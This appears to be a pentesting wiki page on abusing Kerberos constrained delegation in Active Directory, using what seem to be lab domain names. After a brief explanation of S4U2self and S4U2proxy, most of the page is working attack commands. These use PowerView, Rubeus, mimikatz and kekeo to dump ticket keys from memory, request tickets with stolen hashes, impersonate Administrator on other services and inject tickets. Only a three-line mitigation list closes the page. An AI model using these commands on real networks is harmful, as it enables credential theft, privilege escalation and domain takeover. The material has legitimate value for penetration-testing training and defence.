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Constrained Delegation

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Constrained Delegation

Using this a Domain admin can allow a computer to impersonate a user or computer against a service of a machine.
  • Service for User to self (S4U2self): If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
  • Service for User to Proxy(S4U2proxy): A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
Note: If a user is marked as ‘Account is sensitive and cannot be delegated ’ in AD, you will not be able to impersonate them.
This means that if you compromise the hash of the service you can impersonate users and obtain access on their behalf to the service configured (possible privesc).
Moreover, you won't only have access to the service that the user is able to impersonate, but also to any service because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to CIFS service you can also have access to HOST service using /altservice flag in Rubeus.
Also, LDAP service access on DC, is what is needed to exploit a DCSync.
Enumerate
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
There are other ways to obtain a TGT ticket or the RC4 or AES256 without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse
Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.
Using Rubeus
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[email protected][email protected] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[email protected][email protected] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv[email protected][email protected]LAR CORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_ldap~ [email protected]_ALT.kirbi"'

Mitigation

  • Disable kerberos delegation where possible
  • Limit DA/Admin logins to specific services
  • Set "Account is sensitive and cannot be delegated" for privileged accounts.
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